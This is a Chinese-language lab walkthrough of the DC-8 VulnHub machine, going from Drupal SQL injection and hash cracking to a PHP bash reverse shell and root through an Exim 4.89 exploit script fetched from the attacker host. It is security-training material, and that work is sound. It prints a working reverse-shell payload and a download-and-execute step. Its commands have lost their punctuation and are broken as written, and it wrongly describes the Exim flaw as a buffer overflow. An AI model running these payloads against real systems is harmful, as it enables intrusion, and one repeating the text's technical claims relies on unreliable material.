从Drupal后台到Root权限：手把手复现DC-8靶场的Exim 4.89提权完整流程

从Drupal后台到Root权限手把手复现DC-8靶场的Exim 4.89提权完整流程在渗透测试的学习过程中靶机环境是最接近实战的训练场。DC-8作为VulnHub上经典的Drupal靶机提供了一个从Web漏洞到系统提权的完整攻击链。本文将深入剖析如何从Drupal 7的SQL注入漏洞入手逐步获取系统控制权最终利用Exim 4.89的SUID漏洞实现权限提升。1. 环境准备与信息收集任何渗透测试的第一步都是充分了解目标环境。我们使用Kali Linux作为攻击机与DC-8靶机处于同一局域网段。首先进行基础网络扫描确认靶机IP和开放服务netdiscover -r 192.168.108.0/24 nmap -sV -p- 192.168.108.141扫描结果显示靶机开放了两个关键服务22/tcp: OpenSSH 7.4p180/tcp: Apache httpd (Drupal CMS)通过目录扫描工具发现Drupal的典型结构dirb http://dc-8关键发现URL中存在?nid1参数这是Drupal常见的节点ID传参方式也是后续注入攻击的入口点。2. 利用SQL注入获取后台访问权限Drupal 7存在已知的SQL注入漏洞我们可以使用sqlmap进行自动化利用sqlmap -u http://dc-8/?nid* --risk3 --level5 --batch分步骤获取数据库信息确认当前数据库用户权限枚举数据库表结构提取用户凭证数据最终获取到两个关键用户凭证admin: $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5zjohn: $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF使用John the Ripper破解哈希john --wordlist/usr/share/wordlists/rockyou.txt hash.txt成功破解出john用户的密码为turtle这为我们提供了后台管理权限。3. 从后台到代码执行登录Drupal后台(http://dc-8/user)后我们发现可以通过内容编辑功能执行PHP代码。测试几种不同的反弹shell方式?php system(bash -i /dev/tcp/192.168.108.129/6868 01); ?在Kali上监听对应端口nc -lvnp 6868成功获取反向shell后首先升级为完全交互式终端python -c import pty; pty.spawn(/bin/bash)4. 权限提升Exim 4.89漏洞利用在低权限shell中我们检查SUID文件寻找提权机会find / -perm -4000 -type f 2/dev/null发现/usr/sbin/exim4具有SUID位且属主为root。检查版本exim4 --version确认版本为4.89后搜索已知漏洞searchsploit exim 4.89找到本地提权漏洞(CVE-2019-10149)下载并执行利用脚本wget http://192.168.108.129:9999/46996.sh -O /tmp/exploit.sh chmod x /tmp/exploit.sh /tmp/exploit.sh -m netcat成功获取root shell后可以在/root目录下找到最终的flag文件。技术原理深度解析SUID机制的安全隐患SUID(Set User ID)是Linux的一种特殊权限设置它允许用户以文件所有者的权限执行程序。当root用户拥有的程序设置了SUID位时任何执行该程序的用户都将临时获得root权限。如果这类程序存在漏洞就可能被利用来提升权限。Exim漏洞利用原理Exim 4.89的漏洞源于其对字符串处理的缺陷。攻击者可以通过精心构造的参数在调用特定函数时触发缓冲区溢出从而执行任意代码。由于exim以root权限运行这个漏洞可以直接获取root shell。防御建议及时更新软件Exim在后续版本中修复了该漏洞最小权限原则避免为不必要的程序设置SUID位输入验证对用户输入进行严格过滤日志监控关注异常进程执行行为这个案例展示了从Web应用到系统底层的完整攻击链理解每个环节的技术原理对安全防护至关重要。在实际渗透测试中类似的思路可以应用于许多现代Web应用系统。